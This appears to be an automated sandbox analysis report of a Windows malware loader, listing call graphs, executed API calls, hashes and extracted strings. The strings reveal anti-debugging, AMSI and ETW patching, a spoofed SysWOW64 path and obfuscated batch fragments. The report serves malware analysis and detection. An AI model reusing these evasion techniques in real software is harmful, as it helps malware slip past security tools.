62607->62565 62609 2bb1b6c 62608->62609 62610 2bb1aa1 62608->62610 62611 2bb16e8 62609->62611 62612 2bb1aa7 62609->62612 62610->62612 62615 2bb1b13 Sleep 62610->62615 62614 2bb1c66 62611->62614 62618 2bb1644 2 API calls 62611->62618 62613 2bb1ab0 62612->62613 62617 2bb1b4b Sleep 62612->62617 62622 2bb1b81 62612->62622 62613->62557 62614->62557 62615->62612 62616 2bb1b2d Sleep 62615->62616 62616->62610 62619 2bb1b61 Sleep 62617->62619 62617->62622 62620 2bb16f5 VirtualFree 62618->62620 62619->62612 62621 2bb170d 62620->62621 62621->62557 62623 2bb1c00 VirtualFree 62622->62623 62624 2bb1ba4 62622->62624 62623->62557 62624->62557 62626 2bb1681 62625->62626 62627 2bb164d 62625->62627 62626->62593 62627->62626 62628 2bb164f Sleep 62627->62628 62629 2bb1664 62628->62629 62629->62626 62630 2bb1668 Sleep 62629->62630 62630->62627 62631 2bd67c4 63448 2bb480c 62631->63448 63449 2bb481d 63448->63449 63450 2bb485a 63449->63450 63451 2bb4843 63449->63451 63466 2bb4570 63450->63466 63457 2bb4b78 63451->63457 63454 2bb488b 63455 2bb4850 63455->63454 63471 2bb4500 63455->63471 63458 2bb4b85 63457->63458 63464 2bb4bb5 63457->63464 63460 2bb4bae 63458->63460 63461 2bb4b91 63458->63461 63462 2bb4570 11 API calls 63460->63462 63477 2bb2c44 11 API calls 63461->63477 63462->63464 63478 2bb44ac 63464->63478 63465 2bb4b9f 63465->63455 63467 2bb4598 63466->63467 63468 2bb4574 63466->63468 63467->63455 63483 2bb2c10 11 API calls 63468->63483 63470 2bb4581 63470->63455 63472 2bb4504 63471->63472 63475 2bb4514 63471->63475 63474 2bb4570 11 API calls 63472->63474 63472->63475 63473 2bb4542 63473->63454 63474->63475 63475->63473 63484 2bb2c2c 11 API calls 63475->63484 63477->63465 63479 2bb44cd 63478->63479 63480 2bb44b2 63478->63480 63479->63465 63480->63479 63482 2bb2c2c 11 API calls 63480->63482 63482->63479 63483->63470 63484->63473 63485 2bdbb44 63488 2bcec74 63485->63488 63489 2bcec7c 63488->63489 63489->63489 66779 2bc870c LoadLibraryW 63489->66779 63491 2bcec9e 66784 2bb2ee0 QueryPerformanceCounter 63491->66784 63493 2bceca3 63494 2bcecad InetIsOffline 63493->63494 63495 2bcecc8 63494->63495 63496 2bcecb7 63494->63496 63498 2bb4500 11 API calls 63495->63498 63497 2bb4500 11 API calls 63496->63497 63499 2bcecc6 63497->63499 63498->63499 63500 2bb480c 11 API calls 63499->63500 63501 2bcecf5 63500->63501 63502 2bcecfd 63501->63502 66787 2bb4798 63502->66787 63504 2bced20 63505 2bced28 63504->63505 63506 2bced32 63505->63506 66802 2bc8824 63506->66802 63509 2bb480c 11 API calls 63510 2bced59 63509->63510 63511 2bced61 63510->63511 63512 2bb4798 11 API calls 63511->63512 63513 2bced84 63512->63513 63514 2bced8c 63513->63514 63515 2bced96 63514->63515 63516 2bc8824 20 API calls 63515->63516 63517 2bced9f 63516->63517 63518 2bb480c 11 API calls 63517->63518 63519 2bcedbd 63518->63519 63520 2bcedc5 63519->63520 66815 2bb46a4 63520->66815 66817 2bc80c8 66779->66817 66781 2bc8745 66828 2bc7d00 66781->66828 66785 2bb2ef8 GetTickCount 66784->66785 66786 2bb2eed 66784->66786 66785->63493 66786->63493 66788 2bb47fd 66787->66788 66789 2bb479c 66787->66789 66790 2bb4500 66789->66790 66791 2bb47a4 66789->66791 66795 2bb4570 11 API calls 66790->66795 66797 2bb4514 66790->66797 66791->66788 66792 2bb47b3 66791->66792 66794 2bb4500 11 API calls 66791->66794 66796 2bb4570 11 API calls 66792->66796 66793 2bb4542 66793->63504 66794->66792 66795->66797 66799 2bb47cd 66796->66799 66797->66793 66865 2bb2c2c 11 API calls 66797->66865 66800 2bb4500 11 API calls 66799->66800 66801 2bb47f9 66800->66801 66801->63504 66803 2bc8838 66802->66803 66804 2bc8857 LoadLibraryA 66803->66804 66805 2bc8867 66804->66805 66806 2bc8020 17 API calls 66805->66806 66807 2bc886d 66806->66807 66808 2bc80c8 15 API calls 66807->66808 66809 2bc8886 66808->66809 66810 2bc7d00 18 API calls 66809->66810 66811 2bc88e5 FreeLibrary 66810->66811 66812 2bc88fd 66811->66812 66813 2bb44d0 11 API calls 66812->66813 66814 2bc890a 66813->66814 66814->63509 66816 2bb46aa 66815->66816 66818 2bb4500 11 API calls 66817->66818 66819 2bc80ed 66818->66819 66842 2bc7914 66819->66842 66822 2bb4798 11 API calls 66823 2bc8107 66822->66823 66824 2bc810f GetModuleHandleW GetProcAddress GetProcAddress 66823->66824 66825 2bc8142 66824->66825 66848 2bb44d0 66825->66848 66829 2bb4500 11 API calls 66828->66829 66830 2bc7d25 66829->66830 66831 2bc7914 12 API calls 66830->66831 66832 2bc7d32 66831->66832 66833 2bb4798 11 API calls 66832->66833 66834 2bc7d42 66833->66834 66854 2bc8020 66834->66854 66837 2bc80c8 15 API calls 66838 2bc7d5b NtWriteVirtualMemory 66837->66838 66839 2bc7d87 66838->66839 66840 2bb44d0 11 API calls 66839->66840 66841 2bc7d94 FreeLibrary 66840->66841 66841->63491 66843 2bc7925 66842->66843 66844 2bb4b78 11 API calls 66843->66844 66846 2bc7935 66844->66846 66845 2bc79a1 66845->66822 66846->66845 66852 2bbba44 CharNextA 66846->66852 66850 2bb44d6 66848->66850 66849 2bb44fc 66849->66781 66850->66849 66853 2bb2c2c 11 API calls 66850->66853 66852->66846 66853->66850 66855 2bb4500 11 API calls 66854->66855 66856 2bc8043 66855->66856 66857 2bc7914 12 API calls 66856->66857 66858 2bc8050 66857->66858 66859 2bc8058 GetModuleHandleA 66858->66859 66860 2bc80c8 15 API calls 66859->66860 66861 2bc8069 GetModuleHandleA 66860->66861 66862 2bc8087 66861->66862 66863 2bb44ac 11 API calls 66862->66863 66864 2bc7d55 66863->66864 66864->66837 66865->66793

                                                                                    Executed Functions

                                                                                    Function 02BCEC74 Relevance: 245.0, APIs: 11, Strings: 123, Instructions: 10535filesleepCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • InetIsOffline.URL(00000000,00000000,02BDAFA1,?,?,?,000002F7,00000000,00000000), ref: 02BCECAE
                                                                                      • Part of subcall function 02BC8824: LoadLibraryA.KERNEL32(00000000,00000000,02BC890B), ref: 02BC8858
                                                                                      • Part of subcall function 02BC8824: FreeLibrary.KERNEL32(745E0000,00000000,02C11388,Function_000065D8,00000004,02C11398,02C11388,05F5E0FF,00000040,02C1139C,745E0000,00000000,00000000,00000000,00000000,02BC890B), ref: 02BC88EB
                                                                                      • Part of subcall function 02BCEB94: GetModuleHandleW.KERNEL32(KernelBase,?,02BCEF98,UacInitialize,02C1137C,02BDAFD8,OpenSession,02C1137C,02BDAFD8,ScanBuffer,02C1137C,02BDAFD8,ScanString,02C1137C,02BDAFD8,Initialize), ref: 02BCEB9A
                                                                                      • Part of subcall function 02BCEB94: GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 02BCEBAC
                                                                                      • Part of subcall function 02BCEBF0: GetModuleHandleW.KERNEL32(KernelBase), ref: 02BCEC00
                                                                                      • Part of subcall function 02BCEBF0: GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 02BCEC12
                                                                                      • Part of subcall function 02BCEBF0: CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 02BCEC29
                                                                                      • Part of subcall function 02BB7E18: GetFileAttributesA.KERNEL32(00000000,?,02BCF8CC,ScanString,02C1137C,02BDAFD8,OpenSession,02C1137C,02BDAFD8,ScanString,02C1137C,02BDAFD8,UacScan,02C1137C,02BDAFD8,UacInitialize), ref: 02BB7E23
                                                                                      • Part of subcall function 02BBC2EC: GetModuleFileNameA.KERNEL32(00000000,?,00000105,02D058C8,?,02BCFBFE,ScanBuffer,02C1137C,02BDAFD8,OpenSession,02C1137C,02BDAFD8,ScanBuffer,02C1137C,02BDAFD8,OpenSession), ref: 02BBC303
                                                                                      • Part of subcall function 02BCDBB0: RtlDosPa.N(00000000,?,00000000,00000000,00000000,02BCDC80), ref: 02BCDBEB
                                                                                      • Part of subcall function 02BCDBB0: NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,02BCDC80), ref: 02BCDC1B
                                                                                      • Part of subcall function 02BCDBB0: NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 02BCDC30
                                                                                      • Part of subcall function 02BCDBB0: NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 02BCDC5C
                                                                                      • Part of subcall function 02BCDBB0: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 02BCDC65
                                                                                      • Part of subcall function 02BB7E3C: GetFileAttributesA.KERNEL32(00000000,?,02BD2A49,ScanString,02C1137C,02BDAFD8,OpenSession,02C1137C,02BDAFD8,ScanBuffer,02C1137C,02BDAFD8,OpenSession,02C1137C,02BDAFD8,Initialize), ref: 02BB7E47
                                                                                      • Part of subcall function 02BB7FD0: CreateDirectoryA.KERNEL32(00000000,00000000,?,02BD2BE7,OpenSession,02C1137C,02BDAFD8,ScanString,02C1137C,02BDAFD8,Initialize,02C1137C,02BDAFD8,ScanString,02C1137C,02BDAFD8), ref: 02BB7FDD
                                                                                      • Part of subcall function 02BCDACC: RtlDosPa.N(00000000,?,00000000,00000000,00000000,02BCDB9E), ref: 02BCDB0B
                                                                                      • Part of subcall function 02BCDACC: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02BCDB45
                                                                                      • Part of subcall function 02BCDACC: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 02BCDB72
                                                                                      • Part of subcall function 02BCDACC: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 02BCDB7B
                                                                                      • Part of subcall function 02BC87A0: LoadLibraryW.KERNEL32(bcrypt,?,00000000,00000000,02C113A4,02BCA3C7,ScanString,02C113A4,02BCA77C,ScanBuffer,02C113A4,02BCA77C,Initialize,02C113A4,02BCA77C,UacScan), ref: 02BC87B4
                                                                                      • Part of subcall function 02BC87A0: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02BC87CE
                                                                                      • Part of subcall function 02BC87A0: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000000,00000000,02C113A4,02BCA3C7,ScanString,02C113A4,02BCA77C,ScanBuffer,02C113A4,02BCA77C,Initialize), ref: 02BC880A
                                                                                      • Part of subcall function 02BC870C: LoadLibraryW.KERNEL32(amsi), ref: 02BC8715
                                                                                      • Part of subcall function 02BC870C: FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 02BC8774
                                                                                    • Sleep.KERNEL32(00002710,00000000,00000000,ScanBuffer,02C1137C,02BDAFD8,OpenSession,02C1137C,02BDAFD8,ScanBuffer,02C1137C,02BDAFD8,OpenSession,02C1137C,02BDAFD8,02BDB330), ref: 02BD49B7
                                                                                      • Part of subcall function 02BCDA44: RtlInitUnicodeString.NTDLL(?,?), ref: 02BCDA6C
                                                                                      • Part of subcall function 02BCDA44: RtlDosPa.N(00000000,?,00000000,00000000,00000000,02BCDABE), ref: 02BCDA82
                                                                                      • Part of subcall function 02BCDA44: NtDeleteFile.NTDLL(?), ref: 02BCDAA1
                                                                                    • MoveFileA.KERNEL32(00000000,00000000), ref: 02BD4BB7
                                                                                    • MoveFileA.KERNEL32(00000000,00000000), ref: 02BD4C0D
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: File$Library$AddressFreeLoadModuleProc$AttributesCloseCreateHandleMove$CheckDebuggerDeleteDirectoryInetInformationInitNameOfflineOpenPresentQueryReadRemoteSleepStringUnicodeWrite
                                                                                    • String ID: .url$@echo offset "EPD=sPDet "@% or%e%.%c%%h%.o%o%or$@echo offset "MJtc=Iet "@%r%e%%c%r%h%%o%$Advapi$BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$C:\Users\Public\$C:\Users\Public\aken.pif$C:\Users\Public\alpha.pif$C:\Windows\System32\$C:\\Users\\Public\\Libraries\\$C:\\Windows \\SysWOW64\\$C:\\Windows \\SysWOW64\\svchost.exe$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPGetInfo$CryptSIPGetSignedDataMsg$CryptSIPVerifyIndirectData$D2^Tyj}~TVrgoij[Dkcxn}dmu$DllGetActivationFactory$DllGetClassObject$DllRegisterServer$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FX.c$FindCertsByIssuer$FlushInstructionCache$GET$GZmMS1j$GetProcessMemoryInfo$GetProxyDllInfo$HotKey=$I_QueryTagInformation$IconIndex=$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MZER$MiniDumpReadDumpStream$MiniDumpWriteDump$NEO.c$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$TrustOpenStores$URL=file:"$UacInitialize$UacScan$UacUninitialize$VirtualAlloc$VirtualAllocEx$VirtualProtect$WinHttp.WinHttpRequest.5.1$WintrustAddActionID$WriteVirtualMemory$[InternetShortcut]$advapi32$bcrypt$dbgcore$endpointdlp$http$ieproxy$kernel32$lld.SLITUTEN$mssip32$ntdll$psapi$psapi$smartscreenps$spp$sppc$sppwmi$sys.thgiseurt$tquery$wintrust$@echo off@% %e%%c%o%h% %o%rrr% %%o%%f% %f%o%s%
                                                                                    • API String ID: 3130226682-1898677207
                                                                                    • Opcode ID: c28daa01365dcf10b89343dd6a9339ac3819145664d91d52c5ddffb2dea90680
                                                                                    • Instruction ID: a9f3380421a5f95a059ea8d8fb9aa4ab9c8e2c02fce4bcad8ed6be5b93e94841
                                                                                    • Opcode Fuzzy Hash: c28daa01365dcf10b89343dd6a9339ac3819145664d91d52c5ddffb2dea90680
                                                                                    • Instruction Fuzzy Hash: E1241F75A101588FDF12EB64DC90AEE73B6FF89310F1145E6E009E7255EAB0AE89CF50
                                                                                    Function 02BB5A78 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 184registrystringlibraryCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 6997 2bb5a78-2bb5ab9 GetModuleFileNameA RegOpenKeyExA 6998 2bb5afb-2bb5b3e call 2bb58b4 RegQueryValueExA 6997->6998 6999 2bb5abb-2bb5ad7 RegOpenKeyExA 6997->6999 7006 2bb5b62-2bb5b7c RegCloseKey 6998->7006 7007 2bb5b40-2bb5b5c RegQueryValueExA 6998->7007 6999->6998 7000 2bb5ad9-2bb5af5 RegOpenKeyExA 6999->7000 7000->6998 7002 2bb5b84-2bb5bb5 lstrcpynA GetThreadLocale GetLocaleInfoA 7000->7002 7004 2bb5bbb-2bb5bbf 7002->7004 7005 2bb5c9e-2bb5ca5 7002->7005 7008 2bb5bcb-2bb5be1 lstrlenA 7004->7008 7009 2bb5bc1-2bb5bc5 7004->7009 7007->7006 7010 2bb5b5e 7007->7010 7012 2bb5be4-2bb5be7 7008->7012 7009->7005 7009->7008 7010->7006 7013 2bb5be9-2bb5bf1 7012->7013 7014 2bb5bf3-2bb5bfb 7012->7014 7013->7014 7015 2bb5be3 7013->7015 7014->7005 7016 2bb5c01-2bb5c06 7014->7016 7015->7012 7017 2bb5c08-2bb5c2e lstrcpynA LoadLibraryExA 7016->7017 7018 2bb5c30-2bb5c32 7016->7018 7017->7018 7018->7005 7019 2bb5c34-2bb5c38 7018->7019 7019->7005 7020 2bb5c3a-2bb5c6a lstrcpynA LoadLibraryExA 7019->7020 7020->7005 7021 2bb5c6c-2bb5c9c lstrcpynA LoadLibraryExA 7020->7021 7021->7005
                                                                                    APIs
                                                                                    • GetModuleFileNameA.KERNEL32(00000000,?,00000105,02BB0000,02BDD790), ref: 02BB5A94
                                                                                    • RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02BB0000,02BDD790), ref: 02BB5AB2
                                                                                    • RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02BB0000,02BDD790), ref: 02BB5AD0
                                                                                    • RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02BB5AEE
                                                                                    • RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,02BB5B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02BB5B37
                                                                                    • RegQueryValueExA.ADVAPI32(?,02BB5CE4,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,02BB5B7D,?,80000001), ref: 02BB5B55
                                                                                    • RegCloseKey.ADVAPI32(?,02BB5B84,00000000,?,?,00000000,02BB5B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02BB5B77
                                                                                    • lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02BB5B94
                                                                                    • GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 02BB5BA1
                                                                                    • GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 02BB5BA7
                                                                                    • lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 02BB5BD2
                                                                                    • lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02BB5C19
                                                                                    • LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02BB5C29
                                                                                    • lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02BB5C51
                                                                                    • LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02BB5C61
                                                                                    • lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 02BB5C87
                                                                                    • LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 02BB5C97
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
                                                                                    • String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
                                                                                    • API String ID: 1759228003-2375825460
                                                                                    • Opcode ID: cae1dbfeebfaf7f0e136735f6b87cbfc21001e40327f455adb3dd477094272c0
                                                                                    • Instruction ID: 104f306db34f708468e6d776511b392e3a98a59a1e46a17835093e2256a2838a
                                                                                    • Opcode Fuzzy Hash: cae1dbfeebfaf7f0e136735f6b87cbfc21001e40327f455adb3dd477094272c0
                                                                                    • Instruction Fuzzy Hash: 64514071E5020C7EFB36DAA89C46FFEB7AD9F04744F8001E1A644E6181D7F49A448FA5
                                                                                    Function 02BC87A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40libraryloaderCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 8964 2bc87a0-2bc87c5 LoadLibraryW 8965 2bc880f-2bc8815 8964->8965 8966 2bc87c7-2bc87df GetProcAddress 8964->8966 8967 2bc8804-2bc880a FreeLibrary 8966->8967 8968 2bc87e1-2bc8800 call 2bc7d00 8966->8968 8967->8965 8968->8967 8971 2bc8802 8968->8971 8971->8967
                                                                                    APIs
                                                                                    • LoadLibraryW.KERNEL32(bcrypt,?,00000000,00000000,02C113A4,02BCA3C7,ScanString,02C113A4,02BCA77C,ScanBuffer,02C113A4,02BCA77C,Initialize,02C113A4,02BCA77C,UacScan), ref: 02BC87B4
                                                                                    • GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02BC87CE
                                                                                    • FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000000,00000000,02C113A4,02BCA3C7,ScanString,02C113A4,02BCA77C,ScanBuffer,02C113A4,02BCA77C,Initialize), ref: 02BC880A
                                                                                      • Part of subcall function 02BC7D00: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02BC7D74
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Library$AddressFreeLoadMemoryProcVirtualWrite
                                                                                    • String ID: BCryptVerifySignature$bcrypt
                                                                                    • API String ID: 1002360270-4067648912
                                                                                    • Opcode ID: 96aa693448e5a85d6828c5c104f334d286deede10ebdce8c4b3620b5f2d68c6d
                                                                                    • Instruction ID: d0c556e3f54fa017951bc17b6911c256c4808c81d0b08d26f260e08dd029e2dd
                                                                                    • Opcode Fuzzy Hash: 96aa693448e5a85d6828c5c104f334d286deede10ebdce8c4b3620b5f2d68c6d
                                                                                    • Instruction Fuzzy Hash: 7CF0A471E8021C9EEB119A68A846FB6739CF746354F580A7DB30C87944C7F858208B50
                                                                                    Function 02BCEBF0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28libraryloaderCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 8981 2bcebf0-2bcec0a GetModuleHandleW 8982 2bcec0c-2bcec1e GetProcAddress 8981->8982 8983 2bcec36-2bcec3e 8981->8983 8982->8983 8984 2bcec20-2bcec30 CheckRemoteDebuggerPresent 8982->8984 8984->8983 8985 2bcec32 8984->8985 8985->8983
                                                                                    APIs
                                                                                    • GetModuleHandleW.KERNEL32(KernelBase), ref: 02BCEC00
                                                                                    • GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 02BCEC12
                                                                                    • CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 02BCEC29
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: AddressCheckDebuggerHandleModulePresentProcRemote
                                                                                    • String ID: CheckRemoteDebuggerPresent$KernelBase
                                                                                    • API String ID: 35162468-539270669
                                                                                    • Opcode ID: f98133fc779c2573ae447006257eb65767c9950413e8bf8570cc7087d26d513b
                                                                                    • Instruction ID: 4b9114071f570b525d34641faded8d7e36ffdd43d6dde6643d2ad69e67a0f4ca
                                                                                    • Opcode Fuzzy Hash: f98133fc779c2573ae447006257eb65767c9950413e8bf8570cc7087d26d513b
                                                                                    • Instruction Fuzzy Hash: 5BF0A77090424CEBD722A7B8C8897EEFBA99B05338F7403D8E425611D1E7B54644C651
                                                                                    Function 02BCDBB0 Relevance: 7.6, APIs: 5, Instructions: 80nativefileCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    APIs
